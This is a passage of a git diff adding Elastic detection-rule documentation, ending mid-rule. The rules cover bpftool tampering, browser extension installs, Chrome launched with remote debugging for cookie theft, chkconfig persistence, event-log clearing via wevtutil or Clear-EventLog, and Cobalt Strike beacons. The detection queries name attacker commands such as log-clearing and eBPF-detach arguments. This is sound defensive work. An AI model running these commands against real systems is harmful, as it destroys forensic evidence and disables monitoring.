(remove from production images where not needed), enforcing least-privilege on CAP_BPF/CAP_SYS_ADMIN and sudoers, and adding immutable monitoring of `/usr/sbin/bpftool` and `/sys/fs/bpf` plus periodic snapshots of `bpftool prog/link/map show` for drift detection. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.name == "bpftool" and ( + (process.args == "prog" and process.args == "detach") or + (process.args == "map" and process.args in ("delete", "update")) or + (process.args == "link" and process.args == "detach") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Rootkit +** ID: T1014 +** Reference URL: https://attack.mitre.org/techniques/T1014/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-browser-extension-install.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-browser-extension-install.asciidoc new file mode 100644 index 0000000000..9eb6316cab --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-browser-extension-install.asciidoc @@ -0,0 +1,155 @@ +[[prebuilt-rule-8-19-20-browser-extension-install]] +=== Browser Extension Install + +Identifies the install of browser extensions. Malicious browser extensions can be installed via app store downloads masquerading as legitimate extensions, social engineering, or by an adversary that has already compromised a system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* endgame-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: SentinelOne +* Data Source: Sysmon +* Data Source: Microsoft Defender for Endpoint +* Resources: Investigation Guide + +*Version*: 208 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Browser Extension Install* + +Browser extensions enhance functionality in web browsers but can be exploited by adversaries to gain persistence or execute malicious activities. Attackers may disguise harmful extensions as legitimate or use compromised systems to install them. The detection rule identifies suspicious extension installations by monitoring file creation events in typical extension directories, filtering out known safe processes, and focusing on Windows environments. + + +*Possible investigation steps* + + +- Review the file creation event details to identify the specific browser extension file (e.g., .xpi or .crx) and its path to determine if it aligns with known malicious patterns or locations. +- Check the process that initiated the file creation event, especially if it is not a known safe process like firefox.exe, to assess if it is a legitimate application or potentially malicious. +- Investigate the user account associated with the file creation event to determine if the activity is expected or if the account may have been compromised. +- Examine recent system activity and logs for any signs of social engineering attempts or unauthorized access that could have led to the installation of the extension. +- Cross-reference the extension file name and path with threat intelligence sources to identify if it is associated with known malicious browser extensions. +- If applicable, review the browser's extension management interface to verify the presence and legitimacy of the installed extension. + + +*False positive analysis* + + +- Language pack installations for Firefox can trigger false positives. Exclude files named "langpack-*@firefox.mozilla.org.xpi" from detection to prevent unnecessary alerts. +- Dictionary add-ons for Firefox may also be flagged. Add exceptions for files named "*@dictionaries.addons.mozilla.org.xpi" to reduce false positives. +- Regular updates or installations of legitimate browser extensions from trusted sources can be mistaken for malicious activity. Maintain a list of trusted processes and paths to exclude from monitoring. +- User-initiated installations from official browser stores might be flagged. Educate users on safe installation practices and consider excluding known safe processes like "firefox.exe" when associated with legitimate extension paths. +- Frequent installations in enterprise environments due to software deployment tools can cause alerts. Coordinate with IT to identify and exclude these routine activities from detection. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread or communication with potential command and control servers. +- Terminate any suspicious processes associated with the unauthorized browser extension installation, such as unknown or unexpected instances of browser processes. +- Remove the malicious browser extension by deleting the associated files from the extension directories identified in the alert. +- Conduct a full antivirus and anti-malware scan on the affected system to identify and remove any additional threats or remnants of the malicious extension. +- Review and reset browser settings to default to ensure no residual configurations or settings are left by the malicious extension. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Implement application whitelisting to prevent unauthorized browser extensions from being installed in the future, focusing on the directories and file types identified in the detection query. + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type : "creation" and +( + /* Firefox-Based Browsers */ + ( + file.name : "*.xpi" and + file.path : "?:\\Users\\*\\AppData\\Roaming\\*\\Profiles\\*\\Extensions\\*.xpi" and + not + ( + process.name : "firefox.exe" and + file.name : ( + "langpack-*@firefox.mozilla.org.xpi", + "*@dictionaries.addons.mozilla.org.xpi", + "newtab@mozilla.org.xpi", + "uBlock0@raymondhill.net.xpi", + /* AdBlockPlus */ + "{d10d0bf8-f5b5-c8b4-a8b2-2b9879e08c5d}.xpi", + /* Bitwarden */ + "{446900e4-71c2-419f-a6a7-df9c091e268b}.xpi", + "addon@darkreader.org.xpi", + /* 1Password */ + "{d634138d-c276-4fc8-924b-40a0ea21d284}.xpi", + "support@lastpass.com.xpi", + /* Grammarly */ + "87677a2c52b84ad3a151a4a72f5bd3c4@jetpack.xpi", + "sentinelone_visibility@sentinelone.com.xpi", + "keepassxc-browser@keepassxc.org.xpi" + ) + ) + ) or + /* Chromium-Based Browsers */ + ( + file.name : "*.crx" and + file.path : "?:\\Users\\*\\AppData\\Local\\*\\*\\User Data\\Webstore Downloads\\*" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Software Extensions +** ID: T1176 +** Reference URL: https://attack.mitre.org/techniques/T1176/ +* Sub-technique: +** Name: Browser Extensions +** ID: T1176.001 +** Reference URL: https://attack.mitre.org/techniques/T1176/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-browser-process-spawned-from-an-unusual-parent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-browser-process-spawned-from-an-unusual-parent.asciidoc new file mode 100644 index 0000000000..a9b23b2f29 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-browser-process-spawned-from-an-unusual-parent.asciidoc @@ -0,0 +1,160 @@ +[[prebuilt-rule-8-19-20-browser-process-spawned-from-an-unusual-parent]] +=== Browser Process Spawned from an Unusual Parent + +Identifies instances where an unusual process spawns a chrome browser child process. This behavior could be related to malware stealing browser information. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/katz-and-mouse-game + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Browser Process Spawned from an Unusual Parent* + + + +*Possible investigation steps* + + +- Review the process execution details to confirm that a web browser process (e.g., chrome.exe, msedge.exe, firefox.exe) has an unusual or suspicious parent process. Focus on the process.parent.name, process.name, and process.args fields. +- Examine the command line arguments for signs of remote debugging flags (e.g., --remote-debugging-port, --remote-debugging-pipe) or injected DLLs that could indicate attempts to hijack browser sessions. +- Check whether the parent process is a scripting host (e.g., wscript.exe, cscript.exe), system utility, or unexpected binary (e.g., cmd.exe, rundll32.exe, powershell.exe) rather than the legitimate browser updater or system launcher. +- Investigate if the suspicious parent process has a known reputation or hash linked to malware or credential-stealing tools by correlating with threat intelligence sources. +- Look for additional related processes spawned by the browser that might indicate malicious activity, such as network connections to unusual external IPs or data exfiltration attempts. +- Review authentication logs to identify if any credential theft attempts occurred shortly after the suspicious browser activity, focusing on abnormal logins, failed authentications, or credential access patterns. +- Cross-reference with endpoint telemetry (e.g., Defender for Endpoint, Sysmon) to identify whether this event is part of a broader intrusion attempt involving code injection or persistence mechanisms. + + +*False positive analysis* + + +- Certain enterprise management or testing tools may launch browsers with remote debugging enabled for automation purposes. Identify and document such legitimate tools and processes. +- Development environments may use browser remote debugging features during legitimate software testing. Exclude known dev/test machines or users from triggering alerts in production environments. +- Security testing frameworks or internal red team activities may use similar techniques. Coordinate with authorized security teams to whitelist scheduled exercises. +- Browser extensions or third-party plugins could sometimes spawn processes that appear unusual. Validate if the behavior aligns with known, legitimate extensions. +- Automated IT scripts or orchestration tools might start browsers in debugging mode for monitoring purposes. Whitelist these cases based on process path, signature, or command-line arguments. + + +*Response and remediation* + + +- Isolate the affected endpoint from the network to prevent potential credential theft or data exfiltration. +- Terminate any suspicious processes identified in the alert, including both the browser and its anomalous parent process. +- Collect forensic artifacts (process memory, browser profiles, injected modules) for further investigation and potential IOCs. +- Reset credentials for accounts that may have been exposed through the compromised browser session. +- Deploy updated endpoint protection signatures and enable stricter application control policies to prevent browsers from being launched by untrusted processes. +- Enhance monitoring for browser processes launched with debugging flags or code injection indicators across the environment. +- Escalate to the SOC or IR team to determine whether this event is part of a larger credential theft campaign or linked to other lateral movement activity. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : ("chrome.exe", "msedge.exe") and + process.parent.executable != null and process.command_line != null and + ( + process.command_line : + ("\"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\"", + "\"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\"", + "\"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\" --headless --disable-logging --log-level=3 --v=0", + "\"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\" --headless --log-level=3", + "\"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\" --headless", + "\"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\" --remote-debugging-port=922? --profile-directory=\"Default\"*", + "\"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\" --headless --restore-last-session --remote-debugging-port=45452*") or + + (process.args : "--remote-debugging-port=922?" and process.args : "--window-position=-*,-*") + ) and + not process.parent.executable : + ("C:\\Windows\\explorer.exe", + "C:\\Program Files (x86)\\*.exe", + "C:\\Program Files\\*.exe", + "C:\\Windows\\System32\\rdpinit.exe", + "C:\\Windows\\System32\\sihost.exe", + "C:\\Windows\\System32\\RuntimeBroker.exe", + "C:\\Windows\\System32\\SECOCL64.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Web Session Cookie +** ID: T1539 +** Reference URL: https://attack.mitre.org/techniques/T1539/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Sub-technique: +** Name: Credentials from Web Browsers +** ID: T1555.003 +** Reference URL: https://attack.mitre.org/techniques/T1555/003/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Browser Session Hijacking +** ID: T1185 +** Reference URL: https://attack.mitre.org/techniques/T1185/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-chkconfig-service-add.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-chkconfig-service-add.asciidoc new file mode 100644 index 0000000000..21b5b3a841 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-chkconfig-service-add.asciidoc @@ -0,0 +1,209 @@ +[[prebuilt-rule-8-19-20-chkconfig-service-add]] +=== Chkconfig Service Add + +Detects the use of the chkconfig binary to manually add a service for management by chkconfig. Threat actors may utilize this technique to maintain persistence on a system. When a new service is added, chkconfig ensures that the service has either a start or a kill entry in every runlevel and when the system is rebooted the service file added will run providing long-term persistence. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.intezer.com/blog/research/lightning-framework-new-linux-threat/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Threat: Lightning Framework +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 219 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Chkconfig Service Add* + +Service files are configuration files in Linux systems used to define and manage system services. The `Chkconfig` binary can be used to manually add, delete or modify a service. + +Malicious actors can leverage services to achieve persistence by creating or modifying service files to execute malicious commands or payloads during system startup. This allows them to maintain unauthorized access, execute additional malicious activities, or evade detection. + +This rule monitors the usage of the `chkconfig` binary to manually add a service for management by `chkconfig`, potentially indicating the creation of a persistence mechanism. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible Investigation Steps* + + +- Investigate the service that was created or modified. +- Investigate the currently enabled system services through the following commands `sudo chkconfig --list | grep on` and `sudo systemctl list-unit-files`. +- Investigate the status of potentially suspicious services through the `chkconfig --list service_name` command. +- Search for the `rc.d` or `init.d` service files that were created or modified, and analyze their contents. +- Investigate whether any other files in any of the available `rc.d` or `init.d` directories have been altered through OSQuery. + - !{osquery{"label":"Osquery - Retrieve File Listing Information","query":"SELECT * FROM file WHERE (path LIKE '/etc/init.d/%' OR path LIKE '/etc/rc%.d/%')"}} + - !{osquery{"label":"Osquery - Retrieve Additional File Listing Information","query":"SELECT f.path, u.username AS file_owner, g.groupname AS group_owner, datetime(f.atime, 'unixepoch') AS\nfile_last_access_time, datetime(f.mtime, 'unixepoch') AS file_last_modified_time, datetime(f.ctime, 'unixepoch') AS\nfile_last_status_change_time, datetime(f.btime, 'unixepoch') AS file_created_time, f.size AS size_bytes FROM file f LEFT\nJOIN users u ON f.uid = u.uid LEFT JOIN groups g ON f.gid = g.gid WHERE (path LIKE '/etc/init.d/%' OR path LIKE\n'/etc/rc%.d/%')\n"}} +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} +- Investigate syslog through the `sudo cat /var/log/syslog | grep 'LSB'` command to find traces of the LSB header of the script (if present). If syslog is being ingested into Elasticsearch, the same can be accomplished through Kibana. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Validate the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Investigate whether the altered scripts call other malicious scripts elsewhere on the file system. + - If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. + - Cron jobs, services and other persistence mechanisms. + - !{osquery{"label":"Osquery - Retrieve Crontab Information","query":"SELECT * FROM crontab"}} +- Investigate abnormal behaviors by the subject process/user such as network connections, file modifications, and any other spawned child processes. + - Investigate listening ports and open sockets to look for potential command and control traffic or data exfiltration. + - !{osquery{"label":"Osquery - Retrieve Listening Ports","query":"SELECT pid, address, port, socket, protocol, path FROM listening_ports"}} + - !{osquery{"label":"Osquery - Retrieve Open Sockets","query":"SELECT pid, family, remote_address, remote_port, socket, state FROM process_open_sockets"}} + - Identify the user account that performed the action, analyze it, and check whether it should perform this kind of action. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific User","query":"SELECT * FROM users WHERE username = {{user.name}}"}} +- Investigate whether the user is currently logged in and active. + - !{osquery{"label":"Osquery - Investigate the Account Authentication Status","query":"SELECT * FROM logged_in_users WHERE user = {{user.name}}"}} + + +*False Positive Analysis* + + +- If this activity is related to new benign software installation activity, consider adding exceptions — preferably with a combination of user and command line conditions. +- If this activity is related to a system administrator who uses the `chkconfig` binary for administrative purposes, consider adding exceptions for this specific administrator user account. +- Try to understand the context of the execution by thinking about the user, machine, or business purpose. A small number of endpoints, such as servers with unique software, might appear unusual but satisfy a specific business need. + + +*Related Rules* + + +- Suspicious File Creation in /etc for Persistence - 1c84dd64-7e6c-4bad-ac73-a5014ee37042 +- Potential Persistence Through Run Control Detected - 0f4d35e4-925e-4959-ab24-911be207ee6f +- Potential Persistence Through init.d Detected - 474fd20e-14cc-49c5-8160-d9ab4ba16c8b +- New Systemd Timer Created - 7fb500fa-8e24-4bd1-9480-2a819352602c +- New Systemd Service Created by Previously Unknown Process - 17b0a495-4d9f-414c-8ad0-92f018b8e001 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Delete the service/timer or restore its original configuration. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.action in ("exec", "exec_event", "start") and +process.executable != null and +( + (process.executable : "/usr/sbin/chkconfig" and process.args : "--add") or + (process.args : "*chkconfig" and process.args : "--add") +) and not ( + process.parent.name in ("rpm", "qualys-scan-util", "qualys-cloud-agent", "update-alternatives") or + process.parent.executable in ("/opt/commvault/.gxsetup/silent_install/install", "/usr/sbin/alternatives") or + process.parent.args : ("/var/tmp/rpm*", "/var/lib/waagent/*", "/usr/bin/puppet*") or + process.args in ("jexec", "sapinit", "httpd", "dbora" , "selfprotection") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-clearing-windows-event-logs.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-clearing-windows-event-logs.asciidoc new file mode 100644 index 0000000000..9134a250ec --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-clearing-windows-event-logs.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-20-clearing-windows-event-logs]] +=== Clearing Windows Event Logs + +Identifies attempts to clear or disable Windows event log stores using Windows wevetutil command. This is often done by attackers in an attempt to evade detection or destroy forensic evidence on a system. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/invisible-miners-unveiling-ghostengine + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 320 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Clearing Windows Event Logs* + + +Windows event logs are a fundamental data source for security monitoring, forensics, and incident response. Adversaries can tamper, clear, and delete this data to break SIEM detections, cover their tracks, and slow down incident response. + +This rule looks for the execution of the `wevtutil.exe` utility or the `Clear-EventLog` cmdlet to clear event logs. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. + - Verify if any other anti-forensics behaviors were observed. +- Investigate the event logs prior to the action for suspicious behaviors that an attacker may be trying to cover up. + + +*False positive analysis* + + +- This mechanism can be used legitimately. Analysts can dismiss the alert if the administrator is aware of the activity and there are justifications for this action. +- Analyze whether the cleared event log is pertinent to security and general monitoring. Administrators can clear non-relevant event logs using this mechanism. If this activity is expected and noisy in your environment, consider adding exceptions — preferably with a combination of user and command line conditions. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. + - This activity is potentially done after the adversary achieves its objectives on the host. Ensure that previous actions, if any, are investigated accordingly with their response playbooks. +- Isolate the involved host to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and +( + ( + (process.name : "wevtutil.exe" or ?process.pe.original_file_name == "wevtutil.exe") and + process.args : ("/e:false", "cl", "clear-log") + ) or + ( + ( + process.name : ("powershell.exe", "pwsh.exe", "powershell_ise.exe") or + ?process.pe.original_file_name in ("PowerShell.EXE", "pwsh.dll", "powershell_ise.EXE") + ) and + process.args : "Clear-EventLog" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Sub-technique: +** Name: Clear Windows Event Logs +** ID: T1070.001 +** Reference URL: https://attack.mitre.org/techniques/T1070/001/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable Windows Event Logging +** ID: T1562.002 +** Reference URL: https://attack.mitre.org/techniques/T1562/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-cobalt-strike-command-and-control-beacon.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-cobalt-strike-command-and-control-beacon.asciidoc new file mode 100644 index 0000000000..77f51477d2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-cobalt-strike-command-and-control-beacon.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-20-cobalt-strike-command-and-control-beacon]] +=== Cobalt Strike Command and Control Beacon + +Cobalt Strike is a threat emulation platform commonly modified and used by adversaries to conduct network attack and exploitation campaigns. This rule detects a network activity algorithm leveraged by Cobalt Strike implant beacons for command and control. + +*Rule type*: query + +*Rule indices*: + +* packetbeat-* +* auditbeat-* +* filebeat-* +* logs-network_traffic.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.morphisec.com/fin7-attacks-restaurant-industry +* https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html +* https://www.elastic.co/security-labs/collecting-cobalt-strike-beacons-with-the-elastic-stack + +*Tags*: + +* Use Case: Threat Detection +* Tactic: Command and Control +* Domain: Endpoint +* Resources: Investigation Guide + +*Version*: 107 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Cobalt Strike Command and Control Beacon* + + +Cobalt Strike is a penetration testing tool often repurposed by attackers for malicious activities, particularly for establishing command and control (C2) channels. Adversaries exploit its beaconing feature to communicate with compromised systems using common protocols like HTTP or TLS. The detection rule identifies suspicious network patterns, such as specific domain naming conventions, indicative of Cobalt Strike's C2 activity, helping analysts pinpoint potential threats. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific domain that triggered the rule, focusing on the pattern [a-z]{3}.stage.[0-9]{8}\..* to determine if it matches known malicious domains. +- Analyze the network traffic logs associated with the alert, specifically looking at events categorized under network or network_traffic with types tls or http, to gather more context about the communication. +- Investigate the source IP address and destination domain involved in the alert to determine if they have been associated with previous malicious activities or are listed in threat intelligence databases. +- Examine the timeline of the network activity to identify any patterns or anomalies that could indicate a larger campaign or coordinated attack. +- Check for any related alerts or incidents in the security information and event management (SIEM) system that might provide additional context or indicate a broader compromise. +- Assess the affected endpoint for any signs of compromise, such as unusual processes or connections, to determine if further containment or remediation actions are necessary. + + +*False positive analysis* + + +- Legitimate software updates or patch management systems may use similar domain naming conventions. Review and whitelist known update servers to prevent false alerts. +- Internal development or testing environments might mimic Cobalt Strike's domain patterns for legitimate purposes. Identify and exclude these environments from the rule. +- Automated scripts or tools that generate network traffic with similar domain structures can trigger false positives. Monitor and document these tools, then create exceptions for their activity. +- Some content delivery networks (CDNs) might use domain patterns that match the rule's criteria. Verify and exclude trusted CDNs to reduce unnecessary alerts. +- Regularly review and 